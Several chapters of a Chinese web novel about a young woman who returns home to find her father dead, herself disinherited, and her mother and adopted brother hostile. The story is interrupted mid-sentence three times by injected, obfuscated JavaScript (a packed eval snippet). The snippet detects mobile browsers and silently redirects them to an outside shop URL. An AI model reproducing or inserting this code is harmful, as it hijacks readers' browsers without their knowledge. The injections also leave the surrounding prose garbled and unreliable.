《来!发疯啊!》 1. 客房选手(1) 第一章 客房选手 飞机将要开始下降。 邻座白男过于庞大的身躯占了快有两个位置,液体似的肥肉溢到旁边座位上,辐射出阵阵热气与浓烈香水味,烘得人快要窒息。 坐在他里侧的吕静言艰难地弯下腰去,一面竭力避免触碰到他,一面从脚边的随身旅行袋中掏出化妆包。 在狭小空间中坐了快二十小时的身体僵硬酸痛,动起来似乎咯嘣作响,吕静言深吸一口气,有点后悔因为图便宜买了经济舱,早知道就该狠狠心,买张头等——不,算了——买张商务舱的票。 她缩在远离白男的一侧,拉开化妆包,手持小镜开始上妆。她化得认真仔细,不遗余力地遮盖住劳顿旅途中疲惫苍白的脸色,使自己看上去容光焕发、光彩照人。 时间掐的不错,舱门打开时刚好涂完最后一下口红。她收起化妆用具塞回包内,又习惯性地抹了点护手霜,而后从旅行袋里拿出一双高跟麂皮短靴,换下脚上的运动鞋。 白男已经离开座位。她舒了口气,对身上那件特地选出的、不怕褶皱的防雨塔夫绸风衣略作整理,站起身来。 腿大约有些水肿,右侧腿上的旧伤也隐隐作痛,她踉跄一步,又很快站直,咬牙忍下不适,拿好行李,踩着高跟鞋昂首阔步走出机舱。 她东西很少,在大洋对岸留学四年,带回国的不过一只登机箱和一个小旅行袋,连行李也不必等,通过检查后就直接离开。 她边给安发一条报平安的信息边跟随人流迈进乘客到达厅,余光掠过接机人群中鹤立鸡群的那抹黑色身影,心里冷笑,佯做不知,径直走过。 没走两步,手臂被人一把拽住。她懒洋洋抬起眼睛看向对方,语气惊讶道:“呦,你怎么在这儿,我都没看见。” 黑衣男子并不接她话,只说:“走吧。” 吕静言抽回手臂,明知故问:“去哪儿。” “回家。” “哦,”吕静言笑了,“原来是接我来的。不不,不敢劳您大驾,我这边自己打车回去就好。” 男子收手看她,“打车?你知道该打到哪里么。我们已经搬了家,想必你还不知道新地址。” 吕静言的假笑凝固在脸上。 男子拉过她手中行李箱,重复道:“走吧。” 吕静言轻哂一声,将旅行袋挂在对方身上,做了个“带路”的手势。 她跟随他来到停车场,在一辆黑色磨砂漆面SUV前停下。男子将行李放到后备箱,她自顾自地坐进去,他安置好东西上车,发现她坐在后排,从后视镜里望向她,“你坐后面?” 吕静言在镜面中与他对视:“有问题吗,你不就是负责开车。”她说到这儿,又眉眼弯弯地笑,“说起来,吕希声,你怎么混的。亲自来机场接人,连个司机都没有——难道瀚威又要完蛋了?” 吕希声对这句奚落置若罔闻,依然在镜中看她,“我有事和你说。” 手机“叮”地响起,是安回复她那条报平安的消息,吕静言点进软件去看,随口应道:“说。” 吕希声默然几秒,像暴风雨前的宁静,而后,他道:“爸去世了。心脏病发作。” 吕静言猛地抬起头来。 “什么时候?!” “上个月二号,凌晨。” “不可能,”她安静片刻,道,“你骗我。我没有看见新闻和讣告。” “为了防止股价大幅震荡,消息都被压了下去,你当然看不见。”吕希声说。 吕静言定定看着他的背影,简直不敢置信,“两个月,爸死了快两个月,你们瞒着我?你们居然不告诉我?!还有谁当我是吕家人吗!” 吕希声回过头来,“我们瞒着你?我们不告诉你?这些年你和家里有过往来吗,你甚至把我删了,屏蔽了,请问我该怎么告诉你。” 吕静言怒极反笑,“借口!你要真的想告诉我,难道会找不到我?你连我今天几点落地的飞机都知道,又在这儿装什么?” 吕希声笑一声,点点头,“对,我就是不想。我凭什么告诉你。——而且国内这些知情的人,居然没有一个肯告诉你,你也真够可悲的。” “你才可悲。”吕静言道,“那些人,那些所谓的‘亲朋好友’,哪一个不是冲着你的身份和你交往,哪一个会把你看得比吕家更重要?我已经抛弃他们,我现在有真正的朋友。而你依然留在他们中间,沾沾自喜。我简直可怜你。” 吕希声居然没有再驳,目光在她脸上扫过一圈,转过头去。 吕静言把手机扔在一边,默了默,指示道:“开车。” ~*~ 吕希声驾车驶离机场,却不进市区,而是向着远郊深山进发。 已是深秋,华东地区暑热渐退,一路上草木虽绿,却葳蕤不再,在傍晚暗淡夕阳中显出一派颓势。 远远地,视线尽头出现一幢浮华得犹如度假酒店的庞大建筑。天色将黑未黑,建筑四周的灯带全部开启,光线映射到几里之外,金碧辉煌到无法忽略。 吕静言从车窗望过去,啧声道:“看来瀚威确实缓过来了。瞧瞧,都搬到畭山别墅来了,这深山老林的,我还以为你想杀人灭口呢。” 吕希声没说话。 “既然有钱,为什么不把老宅买回来。”吕静言又道。 吕希声道:“卖出去的东西,也不是想买就能买回来。” “呵,估计是你们嫌人家开的价贵,觉得不值吧。”吕静言冷笑。 吕希声再次沉默。 车子驶入宅院,顺车道停入库中,二人从连廊进到门厅。 一名三四十岁的女人迎上前来问候他们,同时手脚麻利地接过他们的外套和行李,递上拖鞋与消毒湿巾。吕希声朝她点头致意,对吕静言介绍:“这是琴姐。” 吕静言向她打过招呼,换好鞋、擦了手,随吕希声向里走到客厅。琴姐没有跟上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288483|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅中再无其他人,巨大的枝形吊灯正散发出耀眼光芒,照得整个房间亮堂堂、空旷旷。 吕静言问:“方姨和程婆婆她们不在?” 只是正常音量,却在过于宽敞的空间中荡起回声。吕希声脚步不停,答她:“程婆婆年纪太大,已经退休去养老。方姨女儿生了孩子,她要去照顾。其他人,你也知道,那时候就已遣散,如今各有去处,不会再来。” 吕静言轻哼一声。 真的是,全都变了。 “所以这么大的房子,只有那位琴姐打理?”吕静言戏谑道,“你们给人家发多少工资啊。” 吕希声侧头瞧她一眼,“妈不喜欢太多外人在家里。方姨他们离开之后,除了警卫室的安保之外,就只有琴姐住家。别的人白天过来,现在已经下班了。” 吕静言幽幽道:“我看不是妈不愿意,而是那些人不肯吧。就她那个样子,日夜相对,有几个人受得了。” 吕希声不置可否。 说话间他们穿过客厅,吕希声在右侧尽头的一扇门前停下来敲了一敲,“妈,静言回来了。” 里面传出一道不再年轻的女声:“进来吧。” 吕希声替吕静言推开房门。 是一间餐厅。 仿西式的长餐桌上菜品琳琅,他们的母亲宋斓坐在主位,循声望向自己的一双儿女。 她打理得乌亮的头发紧紧挽在脑后,妥帖精致。一张生了细纹的脸庞艳丽犹存,不难窥出当年光芒四射的风采。 吕静言凑近了瞧她,笑道:“哎呦,妈,气色不错啊,真显年轻。是才做过医美呢,还是因为爸去世了,您人逢喜事精神爽?” 宋斓眼风如刀,剐在她身上。 吕静言迎着她的目光,拖开椅子在她右边第一个位置坐下,还是笑:“关于爸去世两个月,我没有收到任何通知这件事,您有什么想说的?” 宋斓把目光从她身上收回来,语气冷然淡漠,“先吃饭。” 吕静言向后靠在椅子里,歪头做出思考的动作,大约两三秒,双手一拍,乐呵呵应道:“行,先吃饭。” 站在一侧默然注视二人往来的吕希声走到母亲左手位置上落座,与吕静言相对。 慢烤牛排、红酒烩鸡、熏三文鱼、油封鸭肉、南瓜甜羹、香草焗蜗牛、藜麦莴苣沙拉、普罗旺斯炖蔬菜、无花果酸奶。一桌子该死的白人饭。 吕静言不爱吃西餐,从小就不爱,去留学之后更是深恶痛绝。她不记得家里有谁喜欢这些。父亲口味清淡,当年吕家的主厨一个是粤菜师傅、一个是淮扬菜师傅,他们一家吃了许多年,都是地道的中国胃。印象中只有招待外客或需要做甜品的时候,那位法国大厨才会出场。 所以,她现在是外客,还是被故意恶心的吕家人呢? 明明都不爱吃的玩意儿,真是伤敌一千,自损八百。 她笑意盈盈,举起餐具,胃口极佳似地,津津有味用起餐来。 2. 客房选手(2) 她不急。这个餐桌上没人着急。一顿饭默然无声地吃了两个多小时。吕静言饱了,停止进餐,以手支颐,一动不动地盯着宋斓看。宋斓不紧不慢地用完甜品,用餐帕轻拭嘴角,示意吕希声先出去。 吕希声盯着吕静言,似乎担心她将会产生什么过激行为,一时没有动。 吕静言把眼神从母亲那里转移到他身上,语气轻松,像是和他开玩笑:“怎么,怕错过好戏,舍不得走啊?” 宋斓喝道:“吕静言,谁教你这样和兄长说话?” 吕静言笑出声来,“谁?”她指指吕希声,“他?我兄长?”她笑了一阵,点点头,“行,您说是,那就是。反正他是您的宝贝儿子嘛,看,我都没说他什么,您就急了。” 宋斓不理她的话,缓和语气对吕希声再次重复道:“出去吧。” 吕希声低声应是,起身离开餐厅。 门扉关阖,屋内只余母女二人。 吕静言指尖叩在桌面上,“哒、哒、哒”,一下,一下,一下。 宋斓瞧着她的动作,开口道:“你也不必做出这副样子兴师问罪。你真的关心你父亲么?你在乎他吗?你要是有点良心,也不会出去四年,一趟家也没回过。” 叩击声骤止。 “我没良心?我不回家?”吕静言做出吃惊的模样,“妈妈,您是不是忘了,是谁在我出去后一分钱都没再给过?是谁让我在外面自生自灭?在我为学业、房租和生活费忙得没日没夜的时候,您不会还指望我有钱、有时间、有良心,回来承欢膝下吧。” “况且,”她继续道,“拜您所赐,爸他在乎过我吗?他,还有您,哪一个盼我回来?——哦,不对,” 她想起什么一般,若有所思地摇头,“不对。我不回来,分明正合您意。您根本不想让我回来。您怕我回来,巴不得我死在外面。想到我要毕业回国,您是不是惶惶不可终日?”她轻笑,“这下好了,爸去世了,您安全了。要我说,他死得真是时候,巧得我都怀疑——” “吕静言!”宋斓怒喝,扬手想要给她一个耳光。 吕静言有所防备地向后一躲,“啧”了声,“您看您,怎么又急了。难道被我说中了,恼羞成怒?” 宋斓闭上眼睛缓了口气,“你要是觉得你父亲的死有蹊跷,尽管去查,没人拦你。” 吕静言翘起唇角,“啊,很有自信嘛,看来也查不出什么,我就不白费力气了。”她双手交握放在桌面上,“爸的遗嘱呢?在律师手里?” 宋斓冷笑道:“怎么,想知道你能得到多少遗产?” 吕静言挑了下眉,“是啊,迫不及待。” 宋斓看了她一会儿,缓缓道:“迫不及待的话,我现在就告诉你。你只有一份信托基金,按照规定,六十岁之后按月支取。” 死一般的寂静。吕静言眼睛一错不错地摄住她,好半天,说:“你的意思是,除了六十岁之后的一份‘退休工资’,其他所有东西,公司、股权、房产、现金,一切,他全留给了你,还有吕希声,没我的份,对么。” “对。”宋斓说,“如果有疑问,我明天找刘律师来,让他当面给你看遗嘱。” “不用了!”吕静言猛地拔高声音,“没等我回来就公布遗嘱,律师分明就是你们的人。两个月,该造假的也造完了,该瓜分的也分完了,一切早就处理干净,何必再叫人家来演戏侮辱我的智商。” 她怒极反笑,“怪不得不告诉我爸的死讯,难怪,”她用力鼓掌,“好。好啊。好极了。你们干得漂亮。” 宋斓没有反驳,淡漠道:“你本来也不会得到什么。” “因为爸他不知道我是亲生的!”吕静言立刻接口道。顿了顿,又道:“我才是你们亲生的,妈,还记得吗。” 宋斓头不抬眼不睁,说:“所以你还能回来,所以你还有信托。” 吕静言长久注视着她,不动,不说话,就那么看着她,像要看穿她的灵魂。 宋斓仿若未见,起身朝着餐厅另一角的电梯间走去,乘梯上楼。 她的身影消失在视线中,吕静言像被抽干了力气,往后倒在椅背上。 意外吗?也不算。自从五年前那件事开始,他们之间就不可能再相处和谐。只是她没想到,他们居然能如此过分,恶心她到这个地步。 是她天真,是她可笑,竟还对“妈妈”抱有期待。 琴姐不知从哪里冒出来,着手开始收拾桌上的残羹冷炙。 吕静言动了动,轻声问她:“琴姐,我的卧室在哪儿。” 琴姐愣了一下,吕静言瞬间明白,她问得多余,这个家明显不会给她准备房间。但对方反应很快,马上答道:“三楼,有卧室。” “好,谢谢。”吕静言从椅子上站起来。琴姐又道:“您的行李还在门厅,用不用我帮您拿上去?” 吕静言看看桌上一大堆要收的杯盘,道:“不用了,我自己拿就好。” 她离开餐厅,顺着来时的路往门厅走。 吕希声坐在客厅沙发里,手捧一本纸质书,留意着餐厅方向的动静,见她出现,合上书本,问:“谈完了?” 他口吻平淡,面容静穆,在此刻的吕静言看来有种既得利益者的安然与可恨,她气血翻涌,恨不得抽他一耳光或狠狠咬他一口。 她来到他面前,磨着后槽牙笑,“霸占别人东西的感觉很好吧。这世界上怎么有你这么不要脸的人?鸠占鹊巢,贪得无厌,都不觉得羞耻吗。” 吕希声额角微跳,徐徐站起。吕静言修长挺拔,但他还是比她高出不少,面对面站着时,可以将她完全笼罩在自己的阴影里。 “鸠占鹊巢也好,贪得无厌也罢,随你怎么说,”吕希声理理她的头发,“我继承一切,已成既定事实,你不过是——”他弯腰凑近她,温热的气息扑在她耳朵上,“——无能狂怒。” 吕静言再忍耐不下,抬手往他脸上抽去,吕希声一把接住,攥紧她的手腕一点一点按下去,语气像哄小孩子一样耐心温煦:“妹妹,妈不是已经教育过你了,不可以这样对哥哥,嗯?” 吕静言使力想要抽回手腕,咬牙道:“吕希声,不要脸到你这种程度,我也真是见识了。” 吕希声不在这个话题上多做纠缠,他松开手,看收力不及的吕静言踉跄一下,又心情颇佳地搭手扶她,悠然道:“这儿没你的房间,如果实在无处可去,市中心有空着的房子,是个容身之所。” 吕静言甩开他,怒容转为甜美笑意,“无处可去?哪能啊,这就是我家,我就住这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288484|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,哪儿都不去。” 吕希声看她一阵,无所谓道:“随你的便。”他手伸向茶几,“既然如此,看来车子你也不需要,我就不自作多情了。” 吕静言看过去,茶几上,一把崭新的车钥匙躺在那里,车标处海王的三叉戟在灯光映照下闪闪发亮。 她先他一步将它拿在手里,来回把玩,“呦,你名下的车?那我得开。这要不小心剐了蹭了撞到人什么的,时不时给你添点麻烦,多有意思。” 吕希声不屑冷笑,“麻烦?好啊,我最不怕麻烦。”他抬腕看了眼表,“都打算给我找些什么麻烦,你在这儿慢慢想。我先回了,改天再见。” 吕静言讽道:“哦?大孝子居然不陪妈住在这儿,而是出去单住啊。” 吕希声已经转过身,闻言又回过头来,笑道:“妈心疼我住这儿去公司不方便,特地让我搬去市区。” 吕静言挑了下眉,赞道:“还真是母慈、子孝。多么和谐有爱的一家人。” 吕希声道:“谁说不是呢。” 他抬腿欲走,吕静言又道:“爸葬在哪里?墓园地址给我。” 吕希声背对她,“你最好把我的联系方式都加回来,我发给你。不然,说了,我怕你记不住。”他言毕,不再停留,举步出门。 身后传来“啪!”一声响动,大约吕静言把他刚看的那本书朝这边掷了过来。 ~*~ 车库静得可怕,除了他自己的呼吸声,再无其它。吕希声坐到车内,狭小空间中,她的气味隐隐约约,尚有留存。 铃兰香气,是那款护手霜的味道。她惯用它,从小到大,从不更换。 她不在的这些年,他曾多次购买这一款护手霜,可不知为何,闻起来总不大对。想来只有涂在她手上,才会散发出相同的气味。 她用它的时候常常挤太多,举着手寻寻觅觅来找他,抓住他匀到他手背上。他便会皱起眉头,嫌弃地说:“好香。”吕静言就“嘿嘿嘿”笑,边帮他揉搓涂匀,边挤眉弄眼地调笑:“香点好,香点招女孩子喜欢。” 她的手比他小整整两圈,纤细柔软,揉搓他手时像在心脏上挠痒。而那张笑靥狡黠可爱,让痒意更甚。它蓦然浮现眼前,不及回味,很快又被她痛斥他时的愤怒表情所覆盖。 他垂下眼眸,发动车子。 到达住处时快要午夜。他从地库乘坐电梯上到六层。 市中心的住宅,平层,一梯一户,一层刚好与她在老宅的房间一样大。格局全部改过,照着那房间的样子,划分成起居室、小会客厅、餐吧、书房、玩具房、卧室、衣帽间、卫生间、浴室、花园露台——没有厨房。 他还原每一件家具、每一处细节,连那瓶用了一半的乳液都以相同的角度摆放在梳妆台上。 与记忆中,一模一样。 他打开所有房间的灯,挨屋走过一圈,又进到卧室,盯着某处虚空发呆。手机忽而响起,他拿出来看,是吕静言,文字消息,口吻生硬到近乎命令:把墓园地址给我。 好差的态度。 不过,没关系——他勾起唇角——她终于肯与他恢复联系。 他将手机收回衣袋,而后一间一间屋子地熄灭灯光,走出大门,回到五层自己的寓所。 3. 客房选手(3) ~*~ 疲惫至极。坐了一天飞机,又经历过剧烈情绪起伏,从头脑到身体,摇摇晃晃,快要散架。吕静言洗过热水澡,把自己摔在床上,裹进被子。 三楼共九个卧室,她推开看了几间,装修大同小异,都是客房。也没什么好挑,随便住进一间。 幸而这个家平时待客还算周到,房中一应物品备的齐全,床品、洗漱用具,拿来就用,省得她再去找人要。 虽然累得厉害,但由于时差的缘故,她毫无困意。算算时间,安那边正是上午,于是发消息骚扰她:做什么呢。 安很快回她:刚起床。 她笑:几点了才起床,真羡慕你。 对面回:我又没事做。又问:你那边很晚了吧,怎么还不睡。倒时差? 吕静言道:是啊。 安问:回家的感觉怎么样。 她想说:不怎么样。但删了又打,打了又删,不知道这句话该怎样用英文恰如其分地表述。遂放弃,重新输入一条:比在外面更糟。 安说:怎么了? 家里的破事她向来不愿与人提起,更不习惯显得狼狈和可怜,于是只笼统道:我在国外待的太久,现在处于一个非常被动的局面。想了下,又说:我在想,我是不是做错了决定。也许当初不那么闹,留在国内会更好一些? 这下安没有立时回她,隔了一会儿,才发来一条:......唔,我不知道。你在后悔吗? 回忆当年情形,吕静言犹觉委屈、愤怒和不甘。即便重来一次,她想她也还是会那么做。 她说:没有后悔。 安说:那不就好了。其实,如果你面对的人本身有问题,那么你做什么决定应该都不会更坏或更好,他们总能让你不如意。 吕静言盯着这句话看了半天,回复:你说得对。 她们又天南地北地闲聊一会儿别的,安说要去吃早午饭,没了动静。吕静言对着黑暗中的天花板发了会儿呆,翻个身,打开国内的通讯软件,找到父亲的头像,点进去。 聊天界面上只有寥寥数句,都是四年之前的一些对话,多为逢年过节她发给他的祝福语。父亲回的向来简短,一般是:好的、你也是,或者可能太忙,干脆忘了回。 他对她从来冷淡,甚至他们不熟。她曾经疑惑,后来了然,再后来,她知道他们竟然才是亲生父女之后,又对他的爱生出无限渴望。 她那时试图亲近他、取悦他、讨好他,但也许她不是很会哄长辈开心的甜蜜性格,又也许父亲笃定没有血缘关系的孩子不值得去爱,总之,收效甚微。多次努力无果之后,她实在难以坚持,慢慢放弃了。 她出国后他们便更无联系,连她的节日祝福都再没回音。这也正常,她当时想,他一定觉得自己这个“养女”自私、任性、不懂事,会理她才怪。但不要紧,她赢了一局,待她学成归国,大展身手,就能在他——不,在所有人面前——扭转看法,杀出血路,把吕希声狠狠踩在脚下。 从那时候起,她便只在商界新闻里得知父亲与瀚威的消息。也因此,她连他去世都不知晓。 会不会——她这会儿突然想到——那四年不是父亲主动不去理她,而是母亲害怕秘密败露,从中作梗,才使他们失去联系呢? 可惜她永远都不会知道了。 她长长叹了口气,退出界面,想想又把吕希声从黑名单里拖出来,不顾现在几点,发消息:把墓园地址给我。 半天没人回。她撇撇嘴,切到别的软件,漫无目的地浏览起来。 迷迷糊糊间,门口传来响动,有人进入屋中。 吕静言吓了一跳,立时翻身坐起,“谁?!” 那人不答话,脚步声一点一点逼近床边,借着透过窗帘的银白月光,吕静言认出他的面庞。 “吕希声?”她皱起眉头,“你干什么?” 男子俯身捧过她的脸,额头贴在她额头上,轻声道:“干【】你。” 说罢,不待吕静言出声,炽热柔软的唇便压在她唇上。 吕静言死命挣扎,对方扣住她的后脑,吻得愈发深入,整个身躯覆盖上来,密不透风地压制住她。 他力气大得吓人,呼吸快要把人灼伤,熟悉的气息与怀抱中,吕静言身体不听使唤地瘫软下去,像被毒蛇麻痹的猎物,再难以挣动。 衣物凌乱不堪,她两条长腿暴【】露在外,与他的纠缠在一起,中间两处热源触碰摩擦,带来过电一般的酥麻痒意,她控制不住地就要—— 她猛地睁开眼睛。 梦。 她什么时候睡着了? 心还在扑通扑通狂跳,吕静言躺在那儿一动不动缓了几秒,从床上下来,到卫生间去冲洗一身的薄汗。 该死!怎么会做这样的梦?——据说大脑有时会混淆极端剧烈的情感,爱和恨在潜意识中都可能会体现为情【】欲。看来说的没错。 她真是恨他恨得牙痒痒。 她在卫生间里脱下睡衣,意识到做那个梦可能也有它的功劳,立刻把它甩在一边。 是吕希声少年时的旧T恤。 她过去娇气,新睡衣无论什么材质,她总嫌不够柔软,穿上睡不着觉。而吕希声的旧T恤又宽松又亲肤,最是舒服,她便搜罗了来当睡衣。吕希声每年百八十件新T恤等着宠幸,却经常只能固定穿某一件当家居服,穿旧了好给她。 闹翻之后,这些旧T恤便成了不可再生资源。因为太舒服,她也舍不得丢掉,边对自己说“这是我的睡衣,和他没关系”,边小心节约地一直穿到现在。 呸!以后坚决不穿了。 她洗了澡,去行李箱里翻找其他能充当睡衣的衣物。可她自己的这些衣服,不是太薄就是太厚,好不容易有件薄厚适中、料子也舒服的,又太紧。挑来选去,竟没一件能穿。 她默然半晌,从中拿出吕希声另一件旧T恤套上。 ......算了,做梦应该也不是因为这个。 她回到床上,抓过手机看时间,发现屏幕上悬停着一条信息——梦中男主一小时前给她发了回信。 而现在的时间是凌晨四点五十三。 这个人他不睡觉吗? 真好,望君早日猝死。 她点开信息,是个地址,查了一查,不是墓园,而是殡仪馆的骨灰存放处。看来为了掩人耳目,他们连葬礼都不敢办,也没把父亲安葬,他的骨灰存在殡仪馆里,估计要等到母亲去世才会取出来,与她合葬在一起。 父亲啊,您这辈子,不说叱咤风云,起码也有头有脸,可曾想过自己的身后事是这样鬼鬼祟祟,毫无体面? 吕静言按灭手机屏幕,为他露出一个苦笑。 她知情的这样晚,如今瀚威的权力应该已经平稳过渡,股价预计不会出现大幅震荡,媒体不再被捂嘴,父亲去世的消息将会被透出,但已不再重要。 大局已定,她错过了所有好机会。 外面天光熹微,她发了半刻呆,左右也睡不太着,干脆起床,打算该干什么干什么去。 ~*~ 她换好衣服下楼,去餐厅吃早饭。 天倒是亮了,然而时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288485|198483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太早,整个房屋尚浸在沉睡中,厨师也还没到岗。她又摸到厨房,打算自己做点什么。 她早餐最喜欢吃面条,极细的龙须面,以前家里的那位白案师傅会每天现抻一缕,淡盐水煮熟,放入豚骨与干贝熬制的高汤,再码上配菜端给她。 那汤头熬制多时,反复过滤,清可见底。配菜另外做过,多是白灼当季时蔬,七八分熟的溏心水波蛋,和卤牛腱切片、凉拌鸡丝或油爆鳝段中的任意一样。一碗上来,色彩丰富,汤鲜面韧,令人食指大动。即便每天早餐桌上有数十种花样可供选择,她也坚持只爱这一口。 后来发生那些事,她又出国上学,没钱没时间,吃饭能糊弄就糊弄,再没碰过这么精细的早餐。 好怀念。要么煮碗面来吃吧。她没有大师傅的手艺,煮个阳春面总还可以。 然而厨房巨大,所有食材、锅具,包括调料,她统统寻不到,翻箱倒柜半天,只找出来几套杯盘碗筷。 她累得出了汗,原本只六分饿的肚子变成九分,无奈停手作罢,决定出门去外面吃。 车库同样巨大,停着许多辆不知道是谁的车。她按动车钥匙,靠墙角落里闪出一道灯光,她寻过去,一辆白色轿车停在那儿,外观稳重典雅,除车标之外,其余地方并不显眼。 她眉头微挑,吕希声这个人,人品不怎么样,腔调还算有。这要是一辆炸街超跑,她死也不会开出去。 开了老远的车去吃了早餐,又在花店买好花束,她来到殡仪馆。 有钱能使磨推鬼。别的骨灰都共处一室,挤在一格一格的柜龛里被迫热闹,她父亲却能单占一个房间,清净到显得孤独。 她在骨灰盒前敬上花束,仔细端详旁边父亲的黑白遗照。照片是近些年拍的,上面他的脸庞肌肤松懈,褶皱横生,颇显老态。 他比母亲大了十好几岁,算算的确不年轻了。 到底血浓于水,即便他们之间感情不深,到了这时候,也不免心生悲切,鼻酸眼热。 “爸。” 她拜了一拜。 “爸......” 泪水砸落在地面。 她吃了一惊,没料到自己会哭。站在那儿,等眼泪自己干涸。 含盐量颇高的液体风干在脸上,弄得皮肤发紧。她摸了摸,手指又落到相框上去摩挲。 “爸啊,”她叹了声,“您走得好突然啊。” 或许也不是突然,父亲一直有心脏病史,她作为一个女儿真的太不称职。 她再次叹气。“您都不知道......您什么都不知道。”她咬住嘴唇,“我真后悔没告诉您。如果您知道——知道我是亲生女儿,会不会......” 她忽而哽住,没办法说下去。良久,又道:“您的好妻子,还有假儿子,如今再没顾忌,无法无天了。看看他们是怎样欺负我的吧。您在天有灵,是不是也觉得过分?”她凑近照片去看父亲的眼睛,“如果我把东西抢回来,您也支持的吧?我就应该抢回来,对不对?” 照片里的眼睛沉着坚定,吕静言与它们对视着,很久,很久,忽地嫣然一笑,像真的与父亲商定了什么,压低声音道:“好,我知道了。我会……竭尽全力,您放心。” 即便吕家已无其他长辈在世,即便无人站在她这边主持公道,即便她要孤军奋战、走上一条无比艰难的道路,但她要去做,她要夺回本该属于她的一切。 她直起身来。外面阳光正好,秋季正午的艳阳透过门窗毫不吝啬地泼洒进来,金色光线充斥了整个房间,却唯独,没有落到灵龛后的她身上。 4. 底层员工(1) 第二章 底层员工 下午又去老宅附近转了转。 它是中式宅院,市区里闹中取静的一处,园林一般,占地颇广。 以前她不懂,认为那些雀鸟、锦鲤、山石、草木、小桥流水,都是自然而然地存在那里,一直那样,并不特别。现在想来,那些活物每一只、每一棵都价值五六位数,而父亲为了它们的数量恒定在某个吉利数字,要求每日清点,缺一补一,多年下来,花销想必惊人。 假山池塘等园景的日常维护就更不用说,所耗人力金钱只会加倍地巨大。 住在这儿还真是件奢侈的事。 想想瀚威过去何等辉煌,他们家配得上这样的宅子。如今虽然状况还不差,但和以前相比,商超、酒店、房产、矿业等业务全部被砍,只余最核心的大型仓储与海运空运业务,营收缩减了几倍不止,也就只能住畭山别墅那样比较“新贵”的地方了。 不过好歹比最落魄之时一家几口挤在那间才两百来平的公寓里强多了。 她站在老宅墙外,想要向内眺望院中景致有无变化,高大的围墙与繁盛的树木却遮挡了视线。望来望去只望见那株她过去钟爱的百年玉兰。不逢花季,它黯淡普通,毫不起眼,她却一眼认出它,见到老朋友一般对它笑了笑,举起手机想要给它拍张照。 值班亭里的保安走过来,警惕地打量她,问她做什么的,在拍什么。 吕静言向他展示手机里玉兰树的照片,道:“我拍它。” 保安看看图片上无甚美感可言的老树,觉得她很可疑,要她赶紧离开。 吕静言也不恼,笑眯眯称赞一句:“你还挺敬业。”随即收起手机,驾车离去。 不愿意回家,她扎进热闹的商圈闲逛,看来来往往的行人,看花花绿绿的商品。这些人,轻松、愉悦,脸上洋溢着幸福与欢乐;这些商品,丰富、琳琅,折射出消费欲望和对美好生活的渴盼。她看着他/它们,好像自己也快乐一些,好像这个世界上还有好事值得期待。 逛到天色擦黑,又去吃了晚饭,然后才动身返回。 到家的时间比昨天还迟。屋子里还是那样空旷,母亲不见踪影,只有琴姐出现和她打了个照面。她称她“静言小姐”,除了打招呼之外再不多话,对待客人一般礼貌疏离。 她以同样的礼貌问候过琴姐,回到三楼房间。 昨天没怎么休息,今天又出去逛了一天,这会儿总算生出些倒过时差的困意。可才不到九点,睡觉还嫌太早,吕静言换了睡衣,靠在床头核算今日支出。 过了几年自食其力的穷日子,她养成记账的习惯。一笔笔支出核算下来,再打开各支付软件看看余额,心脏一阵抽搐。 好穷,别说和敌人打官司(虽然打了也没用,她并不打算走这条路),连维持日常支出都费劲。看来在实现宏图伟业之前,应该先找个班上。 去哪里上呢?按照她的计划,当然是去瀚威最好。但瀚威的人多少都知道她的存在,加上“吕静言”这名字一看就和“吕希声”有点关系,简历投过去,只怕下一刻就要被人事呈到他面前请示,她能进去才怪。 况且送上门去被打击嘲笑,岂不是未战先衰。 那么,在避开吕希声的同时,既能摸一摸集团框架,又能了解一些它内部运作的地方是—— 她打开企业查询软件,输入瀚威的名字,在其下关联的上百家子公司中挨个挑选,目光聚焦在其中一家身上。 莱达贸易。 嫡系,却边缘化,负责对外业务,半英文办公环境,有招聘需求。 简直完美。 她拿出电脑,照着招聘要求开始制作简历。 英文简历,名字一栏也用了她的英文名“乔”,只在下方用很小的拼音标注了中文名。 她喜欢乔这个名字,她自己取的,平实、坚定、简洁有力。不像“静言”,柔美、娴雅,弱质纤纤。 况且,同样都是为中和“吕”这个姓氏的多口,吕希声的名字就是有所出处,饱含寓意,而她的就是为了配合于他,随便一取,明晃晃的敷衍和不公平,要不是改名太麻烦,她早改了它。 她做好简历,从头检查一遍,觉得没有问题,准备发到莱达的邮箱。点击“发送”之前,她又想了下,按照莱达的上班时间改到明早九点定时发送。 这样,人事应该一上班就能在邮箱里看到她。 忙完这些,已是十一点,她收起电脑,洗漱睡觉。 